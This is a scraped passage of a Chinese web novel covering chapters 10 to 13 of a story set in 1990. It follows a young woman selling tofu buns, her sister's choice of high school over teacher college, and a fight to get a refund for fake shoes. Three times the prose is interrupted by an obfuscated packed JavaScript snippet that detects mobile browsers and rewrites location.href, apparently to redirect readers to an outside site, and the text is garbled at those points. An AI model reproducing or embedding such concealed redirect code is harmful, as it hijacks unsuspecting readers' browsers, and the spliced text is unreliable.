到了供销社宿舍区时,正是中午时分。雨停了,秀水推车走在长满法国梧桐的巷道里,大声叫卖:“豆腐包子来!好吃的豆腐包!”两旁的楼房和平房里,陆续有人伸出头来喊:“豆腐包,站住!” 卖完包子,秀水往往会问一句:“自家做的卤肥肠,来不来一包?” 她没带秤,肥肠都是在家用干荷叶分包好的。也有人打开看看成色或者尝一块,顺便带一包回家加个餐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722572|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在供销社小区卖出去不少,转头到了棉花收购站的宿舍楼旁。她站在屋檐下,朝对面的楼房喊了一两声,二楼便有扇窗户打开了,露出一张脸说:“等一下,买包子。” 不一会儿,从对面楼上跑下来一个和她年龄相仿的男孩,也没打伞,冒雨过了街。秀水看他长得高高壮壮的,脸上还有几颗青春痘,面熟得很,便随口问道:“是不是二中的学生?在学校那边买过我家包子吧?” 男孩只“嗯”了一声,并不准备答话。秀水便打开泡沫箱的盖子,“要多少?” 男孩递出五块钱,秀水诧异道:“买二十个?我家包子大,你吃得完吗?天气热,放明天说不定就坏了。” “吃得完。”男孩答。 秀水不再多说,利落地取出包子递给他,“老客户了,多送你一个。” 男孩子点点头,并不说话,转身上楼去了。 秀水又在屋檐下等了一会儿,看着雨小了,准备朝里走。这时从巷子外面走过来两个青年人,长头发,嘴里叼着烟,在巷子里走得歪歪扭扭。看到屋檐下躲雨的秀水,两人对了下眼色,朝她走过来。 “喂,谁叫你在这儿卖东西的?”矮个子凶巴巴问。 这人一看就是本区的混子,秀水不想跟他们发生争执,忙道:“马上就走。” “走?”高个子握住了她的自行车把手,“在我地盘上卖完了东西就想走?问过我吗?” 秀水也烦了,眉头一皱道:“不然呢?” “交钱!”矮子扬声道,“交罚款!” “你谁啊?”秀水差点气笑了,提高声音道:“你又不是执法人员,凭什么让我交罚款?” “你问我是谁?”矮个子也冷笑,斜眼看看高个子,显然是希望同伴替自己吹一波。谁知高个子全无默契,两人对视片刻,矮个子只好自己说,“你打听打听,这条街上谁不晓得我龙哥的名号?” “没听说过,”秀水用气死人不偿命的语气挑衅道:“那你认得王大刀疤吗?” “王大刀疤”这个名号,光是听起来就比龙哥要威风,而且秀水脸上丝毫没有农村人身上常见的谨小慎微。高矮两个人都沉默了片刻,但手头太紧,眼看能发点小财,他们不想错过。矮个子便喊:“我不管你认得哪个,拿钱来!不然今天你别想走!” 秀水沉默片刻,手有点痒。她很久没练了,又换了一具身体,找人试试手感也不错。 正在僵持中,对面二楼的窗户又开了,刚买过包子的那张脸又露出来,不高不低道:“张伟龙!” 自称龙哥的矮个子抬头看,脸上立刻浮现出谄媚的笑容,欢快道:“晟哥!你在家啊?今天没去学校?” 他的晟哥并未理会这巴结的寒喧,只简短道:“让她走。” 高个和矮个同时松开车把,让出道路。秀水看看楼上男孩,没有说话,只低着头骑上车,冒着小雨冲了出去。 11. 第 11 章 随着六月的到来,天气越发炎热。村里的人逐渐把晚餐搬到了晒谷坪上。 晚饭时分,晒谷坪上摆放着小方桌、竹床和黑白电视机。忙碌了一天的人们围坐在桌旁吃饭,电视里播放着《封神榜》,“花开花落,花开花落,悠悠岁月长长的河……”毛阿敏的歌声响起,人们沉浸在剧情里难以自拨。 “这个妲己真坏!真狠毒!” “哪吒长得好看,难怪说他是荷花荷叶变出来的……” 有时电视看着看着,忽然白光一闪就黑屏了。黑暗的村庄里,不约而同响起阵阵遗憾的叹息声,——停电了。 在广告的间隙里,主妇们收桌子洗碗,催促孩子们去洗澡。等两集电视剧结束,就到了睡觉的时间。孩子们躺在竹床上,凉风悠悠,明月朗朗,抬眼就是浩瀚的天空。也有大人把家里的门板取下来,支在两根条凳上,铺上席子就成了床。 天气起来后,秀水几乎每天都睡在外面。晚上拿湿毛巾把竹床擦两遍,躺上去凉丝丝的。南风吹过,带来一点凉意和青草气息。萤火虫在菜园里忽闪着飞过,在蛙声的聒噪中,不知不觉就沉入了梦乡。 他们家睡得比别家更早,往往是第一集电视剧刚结束,刘瑞英就忙忙地关电视,收拾一番准备睡觉。对此大家并没有异意。毕竟家里的作息太魔鬼了,别人家是五点钟起床,而刘瑞英和喻庆山一两点钟就得起床干活。 推磨是辛苦的,但刘瑞英是快乐的。泡发好的黄豆,她和喻庆山一个人喂料,一个人推磨,替换着来,大半个钟头就能磨完。在闷热的厨房里,两人汗出如浆,滤渣、煮浆、点卤、压制一气呵成。等包子进了笼上了汽水,她才去喊女儿们起床。毕竟她中午还能补个觉,秀水却不太有这种机会。 秀水连早饭都在城里吃,时间太宝贵,她每次都是抹抹脸梳个头就出发了。秀竹现在不用送姐姐,可以坐在餐桌边从从容容地吃完再走。孩子马上要中考了,需要营养,刘瑞英每天给她的豆浆里放两勺白糖。 “只要你考上了,妈就让你读!”她在餐桌前碎碎念,“妈是没机会读书,我的女儿想读多久就读多久……早先我读初中的时候,学习成绩还不是经常考全班第一。结果到初二你外公外婆硬是不让我读了,说女孩子读书没有用,年龄大了上学遭人笑话。那时候我的班主任林老师到家几次,给你外公外婆做思想工作,硬是没做通。林老师最后流着眼泪走走的,唉——,林老师真是个好人,也不晓得现在去了哪里教书……你好好上学,不用操心学费的事。家里有钱供你读,何况现在咱家卖包子还能挣点钱……” 闲的时候她又清点家里存款,眼看着都快过万了,她的心里就激动得怦怦跳。整个红英大队都挑不出一个万元户呢,而她刘瑞英,存款即将过万了! “明年咱们就盖房!”她意气风发地和喻庆山商量,“要去买红砖、买瓦,盖崭新的砖瓦房。到时让她们姐妹俩一人一间卧室。秀水大了,也该一个人住了……还有厨房也盖宽敞点,再盖个杂物间……” 对于她的提议,喻庆山向来是支持的。听老婆的话是这个男人最可贵的优点。更何况,他对新房的期盼也一点都不比刘瑞英少。夫妻俩核计着盖房的用料用工,把日子过得充满盼头。 不知不觉间就到了六月中旬,喻秀竹迎来了自己的首次大考——中考。 中考当天,家里依旧是早早地磨豆浆、做包子。不同以往的是,刘瑞英煎了好几个焦黄的荷包蛋,一看就没少放油。还下了一大盆面条,早上现卤的肥肠,她连肠带汤地在每人碗里都浇了两大勺。 等秀竹起床,秀水已经吃完准备走了,她推着自行车冲妹妹嚷嚷:“好好考,放轻松。你没问题的。” “好,我晓得。”秀竹答:“姐你快走,路上小心!” 吃完饭喻秀竹自己骑车去了考点。下午回家后,刘瑞英觑着小女儿的脸色,问:“考得咋样?” “还行吧。”喻秀竹答。 刘瑞英和喻庆山见她神情轻松,心里便安定了。秀竹说还行,那就是没问题。 三天时间一晃而过。等孩子们全部考完,秀竹的班主任王老师才交给她一封信。原来一个星期前这封信就到了,但王老师生怕这些杂七杂八的信件会影响孩子中考,就截留了下来。秀竹可是他们班甚至是全校唯一的希望,关键时刻可不能让她分心。 秀竹在骑车回家的路上,走到一半,就停在一座小树林里拆开了信。果然是她的笔友奇志写来的。 奇志先是在信中提到了最近上过新闻的一件事,前几天的某个晚上,某市居民看到空中有个大火球坠落在地,大家议论纷纷,都认为这是外星人派来的UFO。 “我们对头顶的这片星空知之甚少。”奇志在信中写道:“同样的,我们对人类自身的探索也才刚刚起步。比如人类的灵魂究竟是由什么组成的,是什么让我们成为了现在的我们…… 你信中所说的姐姐的改变,让我想到了一个古老的悖论。雅典国王忒修斯曾经驾驶船只,去一座岛屿斩杀怪物。为了纪念他的功绩,人们保留了这艘船,并不断维修。最后,这艘船的所有部件都被更新替换过了。就有人提出疑问,如果这艘船的所有部件都是新的,那它还能被称为“忒修斯之船”吗?如果用替换下来的部件重新建一艘船,那么,哪一艘船才是真正的“忒修斯之船”? 我不知道。但我想,无论答案是什么,你的心中肯定已经有了自己的看法。 另外,很遗憾地告诉你一个消息,我们的通信恐怕要暂停一段时间了。因为这个学期过后,我就要跟父母去美国读书了。对于那个陌生的国度,我已经期盼很久了。我很兴奋,但也有点迷茫。很舍不得生活了这么久的这座城市,也舍不得你和朋友们。等我在那边定居下来,我们再继续通信! 顺祝一切安好! 你的朋友奇志。 一九九零年六月。” 秀竹坐在树下看了两遍,这才抬头看了看身周的世界。乡村的田野里,青草和秧苗长得郁郁葱葱。忒修斯之船和美国都显得遥不可及。她这一生,还从没去过离家一百里之外的地方,而她知识渊博的朋友却要离开中国,去另一个国家读书了。 这让她倍感惆怅,同时又生出了一点隐秘的向往。 不过向往归向往,回了家还是一切照旧。秀竹中考完毕后,刘瑞英和喻庆山都觉得轻省了好些。因为家里多了个劳动力。家里的耕牛是和喻庆海共用的,两家轮着喂。现在正好轮到了喻庆山家。于是秀竹天天早上跟姐姐一起起床,一个去卖包子,一个去放牛。等太阳出来后,她牵着牛回来,肩上还担一筐青草。然后洗衣服,跟父母下田除草,没几天就晒得黢黑。 过了大半个月,王老师托人带信,让她去学校一趟。喻秀竹忙骑车去了,回来后把抄的分数条给父母看,她的分数不仅超过了县一中的录取线,也超过了县师范的录取线。 “英语考得不行,其他都还行。”她谦虚地说。 除了英语考了六十多分,秀竹其余的科目都过了九十分。数学和物理更是接近满分。而英语也并非是她没学好,而是她所在的乡镇中学前年才分配来一个英语老师。之前学校是没有开设英语这个科目的。 刘瑞英简直乐开了花,“喻庆山,你家祖坟冒青烟了!” 喻庆山也笑得合不拢嘴,“好好好!以后有书读了!只要你考上了,爸就供你读!” 秀水看着分数条,也很震惊。她知道妹妹成绩好,但没想到这么好!就乡镇初中那个师资水平,孩子们考个位数才是常态。而且她从没见过秀竹在家写作业看书,这就是天赋怪吗? “暑假好好把英语补一补,”秀水建议,“能去县一中读书的孩子都很厉害,英语太差了到时会拖后腿。” 饭桌边的另三个人都沉默了,片刻后刘瑞英说:“读什么高中?好容易能进县师范,肯定是去读师范啊。” 县师范指的是怀安县中等师范学校,虽然是个中专,但八十年代的录取分数线要远远高于县重点高中。因为读师范有补助,毕业后县里包分配,能稳稳地吃上商品粮。所以它也是很多农村孩子不可企及的梦想。 大女儿没能吃上商品粮,刘瑞英始终耿耿于怀。好在小女儿争气,从小学习就好。要是进了县师范,毕业后就成了老师,一辈子都不用在农村种地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722573|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 秀水却提出反对意见,“读什么师范!竹子这么聪明,肯定要读高中、念大学啊。以后大学生才吃香。” 谁不知道大学生吃香?问题是谁能保证孩子以后考上大学啊?放眼整个红英大队,还没有出过一个大学生呢,连高中生都很稀少。 但秀水说得这么理所当然,连刘瑞英这个县师范的坚定支持者都产生了一丝小小的动摇。不过她很快就清醒过来,“那要是考不取大学呢?不白读了?” “那就复读一年再考呗。” “复读两三年都考不上的人多的是,”刘瑞英道:“而且我听人说,女孩子上了高中,后劲不足。不像男孩们有冲劲,高一不行也能在高三赶起来。所以我说读师范就挺好。” “您都听谁胡说八道呢,”秀水皱起了眉,“谁说女孩上了高中就后劲不足?有什么理论或数据支持这个论点吗?” “你妈说得没错,本来考大学的女孩子就少。”喻庆山在旁边给老婆帮腔。 “那是因为很多女孩子都被剥夺了受教育的权利!”秀水道:“就跟妈一样,本来学习很好,家里不让上学,就只好不读了。妈,要是当年你父母支持你一直读下去,说不定你现在也是大学生!” 这话听得刘瑞英心里又酸楚又舒坦,而且大女儿现在是家里最能挣钱的人,她的话也自然有了份量。于是刘瑞英转头问秀竹,“你想到哪儿读书去?” 秀竹看看父母,又看姐姐,抿嘴不答。 “让孩子好好想想,急什么!”喻庆山说着,站起来搬门板去了。 晚上姐妹俩躺在纳凉的竹床上,秀水有一下没一下地摇着蒲扇,秀竹却是看着星空沉默了半晌。 她以前从没想过那么远的事。她妈总是羡慕舅舅,有份旱涝保收的工作,家里能经常吃肉,因此秀竹也以为,有个铁饭碗、吃上商品粮就是人生巅峰。 可是自从听奇志说,他要出国去读书,她原本的世界就裂开了一条小小的缝。现在,她姐的建议又让这条缝里透进了一线光。于是秀竹生出了一个更大的梦想:到大城市去读学,去看看外面的世界是什么样的。 “姐,”她翻了个身,看着秀水,“你说,女孩子上高中真的会成绩下滑吗?今天,王老师也对我说了这些话……” 王老师那么喜欢她、关心她,都在劝她读师范。可见在父母和师长们看来,县师范真的是她最好的选择吧。 秀水没有回答她这个问题,而是说:“这个说法是不是真的,并不重要,重要的是,你信不信这话?” “高中的课程会比初中难很多。而且你高中的同学跟初中也不同。县一中的孩子都是各个学校的尖子生,以往你轻轻松松就能拿个全班第一,到了一中你会发现,取胜不是件容易的事情了。”秀水望着天空,轻声分析,“你会有挫败感,会觉得迷茫,然后脑海中就会不自觉想起那句话,女孩子本来就不行。” 顿了顿,她又说:“可你要是认真看看周围,就会发现,所有的学生都会在高中课程上遇到困难,男生的挫败不会比你少。但这个世界总是鼓励男孩子勇往直前,去攫取自己想要的胜利。所以他们前进的步伐总会更坚定。” 她扭头看秀竹,“所以,你问我这个说法是真的吗?我不信。我从来就不信女孩子不能干这个干那个。你的父母和老师基于他们的人生经验,给了你他们认为对的建议。但我认为你自己的想法才最重要。你觉得自己是主角,你才会成为主角;你想要达成某个目标,你就要去努力去争取。别人的建议和看法可以适当听听,但别被这些话把自己困住了……” 秀竹听得呆了,在她小小的世界里,除了奇志,没有人会对她说这样的话。甚至奇志都没有说过这样的话。 她看着姐姐,很久才悄声问:“姐,你……你其实是从外星来的吧?” “为什么这么问?”秀水扭头看她,过了一会儿又说:“不过,我确实了解一点未来的世界。在那个世界里,有很多优秀的女性,她们是科学家、企业家、官员、运动员,很了不起……”她顿了顿,语气中带上了自豪,“还有人在世界级的综合格斗比赛中获得金腰带哦……” 12. 第 12 章 过了两天,秀竹又去学校了,这次是去填报志愿。 她最终还是选择读高中。县师范的宝贵名额就这样白白浪费了,让刘瑞英心痛不已。但秀水描绘的美好前景又让她觉得,能去县一中读书也是很好的选择。 “反正只要你肯读,家里就供得起!”她对秀竹说,“全家供你一个人,难道还供不出来?只要你考得取大学,哪怕读你姐说的那个啥,硕士博士的,咱家都供得起。到时老喻家也出一个科学家,看哪个还敢看不起我生的两个姑娘……” 等秀竹从学校填完志愿回来,发现家里来了客人,原来她姨刘兰英一直挂念着秀水,又想到秀竹中考出了成绩,特意过来打听情况。老姐妹俩一边做饭,刘瑞英一边把家里最近发生的事都告诉了她。刘兰英自然也替姐姐高兴。 “照这么说,卖包子可比去城里上班强多了!”刘兰英一边择韭菜,一边感叹,“就是天天早起人辛苦。不过干什么不辛苦?我在棉纺厂上班,三班倒,一个月也才刚过二百块钱。” “就是这么说,”刘瑞英笑容满面,说:“我本来后悔把秀水送去当保姆呢,哪晓得她在城里学了这个手艺。真是没看出来,我秀水以前那么老实一个孩子,在外头还会那么留心。” “秀水本来就手巧,她给我绣的枕头套子,谁看了都说好。”刘兰英叹息:“姐,你以后享两个姑娘的福!秀水这么能干,秀竹又学习好!到县一中读书,多少人想不到的!就只是不读师范好可惜!” “可不是!”刘瑞英把韭菜拿去淘洗,说:“读了师范,铁饭碗就端稳了,多好!可秀水说了,秀竹聪明,就应该让她去读大学。读中专是浪费人才……咳,反正她说得一套一套的,我跟她爸想都想不出来。秀竹呢也想考大学,我左思右想,不能以后让孩子埋怨咱,说当初没让她读高中……” 因为来了客,刘瑞英奢侈地煎了最后一点腊肉,做了豆渣合菜,煎了两面金黄的韭菜盒子。刘兰英第一次吃豆渣合菜,一边吃一边说香,刘瑞英又道:“这也是秀水教我做的,简单得很,家里天天都是新鲜豆渣,他们都吃腻了。” 饭后两人又在房里蛐蛐,原来过几天就是刘文强的儿子刘子康过十岁生日,刘兰英来问姐姐赶多少人情合适。两姐妹商量了半天,决定赶五十块钱人情,再每人送些鞋袜衣服。平时别家做事,赶二十块人情就不得了了,但刘家父母就这么一个金孙,全家都看得贵重,刘瑞英平时再小气,这时候也得打肿脸充胖子。 商量完了,刘瑞英便约了刘兰英,第二天一起去城里给刘子康买鞋子。刘兰英又说:“到时给秀竹也买两件新衣新鞋,在城里上学不比乡下,不能让孩子穿得太寒碜了。不然老师同学瞧不起。” 一句话提醒了刘瑞英。第二天早上,包子蒸出来之后,几个人便一起进城。秀水骑车载着两箱包子,秀竹骑车载着刘瑞英。这一回却是秀水骑得飞快,秀竹险些赶不上。两人紧赶慢赶,到城门口也才不到七点。 秀水在城门口和她们分开,自去卖包子了。刘瑞英便和秀竹去了百货公司,把车停在那儿等刘兰英。太早了,好多商场都没开门,母女俩吃完带着的包子,又到处走了走,刘兰英这才骑车到了。三个人便去百货公司,楼上楼下地逛了一圈,没看到合适的,又去了沿街的市场。 怀安县城只有两条主街,呈十字交叉状。街道两旁分布着粮油店、点心铺、理发店和各种商场。三个人去了卖衣服鞋子的那条街,刘兰英给刘子康买了套秋季运动服,袖子和裤腿带两道杠,是今年最流行的款,花了四十块。然后三个人又去了一家卖皮鞋的店子,挑了半天款式,挑中了一款白色皮面的旅游鞋,也是时下最流行的款式。喊价七十块,还了半天价,老板才便宜了十块钱。 刘瑞英这辈子都没穿过皮鞋,看店里的鞋子双双都又高级又漂亮,便挑了双便宜些的,让秀竹也试了试。秀竹穿在脚上,果然比穿布鞋不知好看到哪里去了。秀竹都不敢迈步,只试了大小便脱下来。几人又砍了半天价,最后以四十块钱拿下,两双鞋子共花了一百块钱。 刘瑞英掏钱的时候,心痛得无法呼吸。真贵啊,她们全家人起早贪黑做包子,一个月也才几百块。城里的衣服鞋子真是贵得离谱。老板却笑她没见识,说她家已经是非常便宜的了,别家店铺的皮鞋谁不是一双一两百啊。 三个人提着衣服鞋子往外走,刘瑞英还想去便宜些的地方给秀竹买两件衣服,秀竹却说什么也不肯了。买鞋子花了大价钱,可不能再花钱了。刘瑞英的心痛也还没有平息,就没再坚持,三人各自回家了。那双昂贵的皮鞋装在鞋盒里,被秀竹珍重地放到了床下,决定等上学时再拿出来穿。 过了几天,眼看便到了刘子康的生日。刘瑞英打算提前一天带全家都回娘家去。秀水却以要卖包子为由,一口拒绝了。秀竹看姐姐不去,她也不想去,理由是家里要人喂猪喂牛。但真实原因是外公外婆眼里只有他们的宝贝金孙,对她们这些外孙女向来是不太搭理的。刘瑞英其实也舍不得为此而耽误生意,见两个孩子不愿意去,只好和喻庆山两人骑车去了。 她是家中长姐,从小就被父母灌输要听话懂事,上要体谅父母,下要礼让弟妹。这回和喻庆山清早过去,也是为了给娘家帮忙。刘家唯一的孙子过十岁生日,办酒席可是需要人手的。虽然因为秀水的事情,她和刘文强闹了点不愉快,可无论怎么说,这也是刘家的大事。她身为长姐,是没理由置身事外的。 两人一去就是一天,到晚上天黑才回来。刘瑞英去的时候高高兴兴,回来时却流着眼泪。 “杀千刀的卖鞋子的!”她恨恨地把手里的鞋子扔在地上,“赚的黑心钱!那么贵的鞋子,穿了一个上午就脱胶了,把我的脸都丢尽了!” 原来鞋子送过去后,刘子康一看就喜欢,等不及第二天的正日子就穿在了脚上。一整天,刘瑞英和喻庆山都在厨房帮忙,择菜洗菜,剁骨头剁肉。到下午时,刘瑞英她妈却愤愤地过来,把鞋子拿给刘瑞英看,已经是裂了口子。 鞋子裂了口是刘文强的老婆潘萍先发现的。因为粮食局领导大洗牌,刘文强的站长之梦也彻底没指望了。为了这个,两口子都对大姐很有些意见,认为这事的根由要怪秀水。这回看到送过来的鞋子这么差,潘萍便借机生事,把鞋子拿去给公婆看,说:“好容易孩子过生日,姑妈要是舍不得买鞋也就算了,送一双 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秀竹看到那双鞋子,已经跑去把床下的那双新鞋拿了出来,打开纸盒,还是一双漆黑漂亮的小皮鞋。但秀水拿在手里抠了一下,皮鞋的鞋面就烂了,隐隐露出里头的白色,——这双鞋更假,干脆就是纸板外面粘了一层极薄的黑胶。 也就是刘瑞英和刘兰英都没见过真正的好鞋子,才会被这种鞋子晃花了眼,生生被骗去了一百块钱。 “明天拿去退,”秀水说:“这样的东西也敢卖,太猖狂了吧。” 退自然是要去退的,但能不能退得出去可不一定。这年头别说退货,就是买了假货再回去换都很艰难。王海要到1995年才会出现,那么强悍的人在维权初期都很艰难,更何况刘瑞英这些乡里人呢? 但刘瑞英还是拿着鞋子去退货了。第二天一早,她和喻庆山一去半天,回来时两人都又气愤又无奈。鞋子果然没有退出去,店老板口口声声说他们把鞋子穿坏了,要退货可以,把鞋子还原就行。刘瑞英和对方吵了起来,店里便出来两个壮汉,把喻庆山推得险些跌一跤。刘瑞英眼看丈夫双拳难敌四手,忙把鞋子拿了,含着眼泪去了娘家。 她也不好意思把鞋子拿出来丢人现眼,只好又补了五十块钱的人情钱,凑成了一百元。饶是这样,潘萍还背地里翻了她好几个白眼。后来刘兰英知道了这事,也帮着大姐解释,李家父母这才对大女儿和大女婿说了几句软和话,夸他们都是孝顺的好孩子,幸好有他们帮忙,家里的宴席才整治得齐全。 晚上,刘瑞英忍气吞声地回来了,到家后却是左思右想,没忍住哭了一场。秀竹割猪草天黑才回,看到堂屋那两双鞋便什么都明白了,忙悄悄去厨下,就见喻庆山正坐在灶门口抽烟。他一般是不抽烟的,只有心里烦才会抽两口。 等秀水回家,知道了前因后果,却是没生气,只说:“等我明天拿去退。” “算了,”喻庆山说:“你搞不赢他们的,去了又白受一场气。” “我明天反正要进城卖包子,”秀水轻描淡写道:“退得出去就退,退不出去再说嘛。” “姐,明天我跟你一起去!”秀竹愤愤地说。 秀水答应了。刘瑞英和喻庆山又不放心,反而再三叮嘱,能退出去最好,不能退就算了。去城里买东西,哪有不上当的? 13. 第 13 章 第二天一早,姐妹俩便骑自行车进城了。秀水也不急,带着秀竹先到处卖包子。等到快十点钟,两姐妹才又去了卖鞋的那个门店。 两人把自行车远远地停了,这才提着鞋子进店。老板娘见有顾客上门,本来满面春风准备打招呼,一见到她们手里的鞋子便变了脸色,退回到收银台里,不打算理人。 秀水也不理她,只在门口站着。没过两分钟,便有逛街的人走进来。她忙提起鞋子给别人看,说:“这家的鞋子都是水货。” 那两人看了一眼鞋子,啧啧叹息着走了。过了一会儿,又是两人进来。秀水仍然如此这般展示了一番,又吓退了两人。 十点多钟正是店里生意最好的时候,来来往往的人多。老板娘不由怒了,喝道:“喂,你想干什么?” “你给我闭嘴!”秀水指着她厉声道,“门里面是你的店,我在门外站着,你狗叫什么?” 秀竹听得心惊胆战,就听老板娘咄咄逼人道:“你自己把鞋子穿坏了,还想拿来退?死乡巴佬,尽想占便宜!” “你卖的什么玩意儿自己不清楚吗?”秀水的气势更足,对着街上熙熙攘攘的人群就开始招呼:“大爷大妈,哥哥姐姐们,大家都来看看哎!这家卖的都是啥货色!鞋子刚上脚就开裂,皮鞋是纸板做的……” 老板娘急了,忙把她拉进来,恨恨地说:“你想干什么?坏我生意我跟你没完!” 秀水把鞋子扔在收银台上,“退了!” “退是不可能退的,”老板娘理直气壮地冷哼:“我店里就没有卖出去的货还能退的。你打听打听,谁家衣服鞋子卖出去了、被人穿过了还能退?我拿胶水给你粘粘就算了不起了……” 正说着,从外面进来两个膀大腰圆的男人,其中一个看了看秀水,问老板娘:“怎么个事?” 老板娘见来了撑腰的,气势更足了,哼了一声说:“把我鞋子穿坏了,还想来退货!真是好笑!” 那壮实男人便走过来,手差点指到秀水脸上,说:“看你是个女的,我不想动手,快给我滚!” 没想到秀水一步也没退,“今儿你要是不退鞋子,我让你生意做不成。”她语气平静,一字一顿地说,“不止是今天,我让你往后的生意都做不成! “嘿哟!”两个男人都气笑了,“老子在街上做生意,还没碰到你这号人!” 两人靠近秀水,一人抬手便要扇她耳光。秀水侧身轻巧避过,抬脚就踢中了他裆部。男人闷哼一声,被踢得撞在货架上,鞋子掉得满地都是。 屋里的另两个人都怔住了,片刻后另一个男人猛扑过来。秀水见势不好,一边啊啊啊地尖叫,一边跑出了店子。 片刻后她啊啊啊地又跑回来,手里还高举着一块砖,色厉内茬朝店里大喊:“敢欺负我姐,打死你们!” 但是,眼前的一幕却让她惊呆了。货架上的鞋子狼籍一地,两个壮汉躺在地上呻*吟。 喻秀竹提砖四顾,心中茫然。怎么了?到底发生了什么?她就出去了几秒,为什么他们都倒了,她姐竟然还站着? 喻秀水回头看妹子,也是一怔。她妹可真是好样的!遇事她可真上啊,都拿上武器了! 老板娘躲在收银台后不敢露头,她其实也没看清楚怎么回事。反正刚才电光火石的一瞬间,她老公和兄弟伙就被一个小姑娘放倒了,一个捂着裆一个抱着头,躺在地上爬不起来。 秀水跨过地上的两个男人,来到收银台,探身过去捞住老板娘的卷发,把人提溜了出来,“我叫你退货,听到没有?” “好好好,给你退给你退!”女老板飞快打开抽屉拿钱,“多少钱来着?” “两双鞋一百块,假一罚三,赔我三百!”秀水说。 “三百?你说得稀奇,哪有这么多……”老板娘视钱如命,开始挣扎。秀水抬手就扇了她一耳光,“国家法律规定的,卖假货被消费者发现了,假一罚三,知道吗你这个法盲!” 老板娘被打懵了,心痛地流着眼泪:“给你退,我这就给你退……” 喻秀水拿了三百块钱,往外走时,又对两个试图爬起来的男人狠踢了几脚,说:“让你们欺负人!” 然后她走到门口,对外面探头探脑朝里看的人群说:“大家都看到了,这家人卖的都是黑心烂货,还想打人,千万别进他的店!” 说完,她拉着秀竹扬长而去。秀竹频频回头,直到走出很远,见没人追过来,狂跳的心才稍稍平稳,她看着秀水,又崇拜又茫然:“姐,你……你怎么办到的啊?” “打架吗?”秀水看看她,“你想学?我教你啊。” “好啊!”秀竹立刻兴奋了,“回家你就教我,以后出门我也行侠仗义!” “教你打架,不是为了让你真去跟人打,”秀水忙更正妹子的观念,道:“像刚才那种情况,你一个人的时候就转身跑掉。你打不赢,受点气没什么,别受伤就行。因为他们都是些烂人,而你有很多人爱,这叫作幸福者退让原则。” “哦哦,”秀竹点头不迭,想了会儿又问:“那你又为什么要跟他们打呢?你不怕受伤吗?” “那当然是因为这两个小菜在我眼里不值一提!”秀水不屑道。 秀竹扭头看着姐姐,就见秀水高高抬着头,露出修长的脖子,再配上她乌黑的眉眼和长发,这一刻,她觉得姐姐就像一个威风凛凛的女英雄,就连香港武侠片里的女侠都没有她那么美、那么飒! 姐妹俩从那条街上出来后,秀水推着车,第一件事就是去找县工商局,她要投诉那个商家。 这年头假货太多了,工商局肯定管不过来,很可能也不会管。但是不投诉一下,她心里总觉得不舒服。果然,她们找到县工商局的时候,楼上楼下问了半天,才有人接待她们,把秀水说的内容登记了一下,就没有下文了。 秀水也不在意,转身带着秀竹给她买鞋去了。 这回秀竹怎么也不肯买皮鞋了。那双该死的纸板皮鞋给她留下了深刻的印象,还死贵死贵的,万一再碰上坑人的商家,就算她姐能打,也不能再去打一架啊。打架又不是什么好事。 秀水也没勉强,两人在街上逛了一会儿,她给秀竹挑了双回力球鞋,又轻便又耐穿。然后又给家里四个人每人买了一双塑料凉鞋。五双鞋一共花了不到五十块钱。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722575|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 晚上回家时,秀水又叮嘱妹子,不要把上午的事告诉父母,免得他们担心。秀竹忙点头,其实她觉得,就算说实话,爸妈也不会相信。别说他们了,她到现在都觉得在店里发生的事跟做梦一样。 回家后,秀水把一百块钱交给母亲,剩下的一百多块钱自己揣着了。刘瑞英和喻庆山听说鞋子退回去了,都不敢相信。刘瑞英还把秀竹拉到厨房,悄悄问她:“竹子,你跟妈说实话,那一百块是不是秀水垫的自己身上的钱?” “哎呀妈,真退回去了,”秀竹说:“我跟姐姐亲自退的,我还能骗你?” “真退了?”刘瑞英震惊道:“那些人也没骂你们,也没打你们,就这么退了?” “骂是肯定要骂的,”喻秀竹说着,自己也觉得难以服人,又说:“我们是遇到好心人了。我们去退的时候,那个女老板也骂了人,这时候,从外面进来一个女侠,三下五除二就把老板和他的走狗干翻了!然后……” “讲鬼话!”刘瑞英根本不信,“少看你爸那些不正经的书!这年月哪儿来的女侠!” “真的不骗你!”喻秀竹说:“好多人都看到了的,不信你去街上问。女侠还说,她揍的就是卖假货的人!以后大家买了假货水货,都要到工商局投诉,然后她得了信,就到街上惩奸除恶……” 在门外听到的秀水:…… 简直张口就来啊,难怪这妮子语文成绩也那么好!以后怕不是个网文作家! 无论有多少疑惑,刘瑞英和喻庆山还是感到扬眉吐气。城里人最喜欢欺负农村人了,往常他们进城去,被凶了、被骗了,有理都没处说去。万万没想到,这回大女儿竟然把钱要了回来!真不知道她到底使了什么办法! 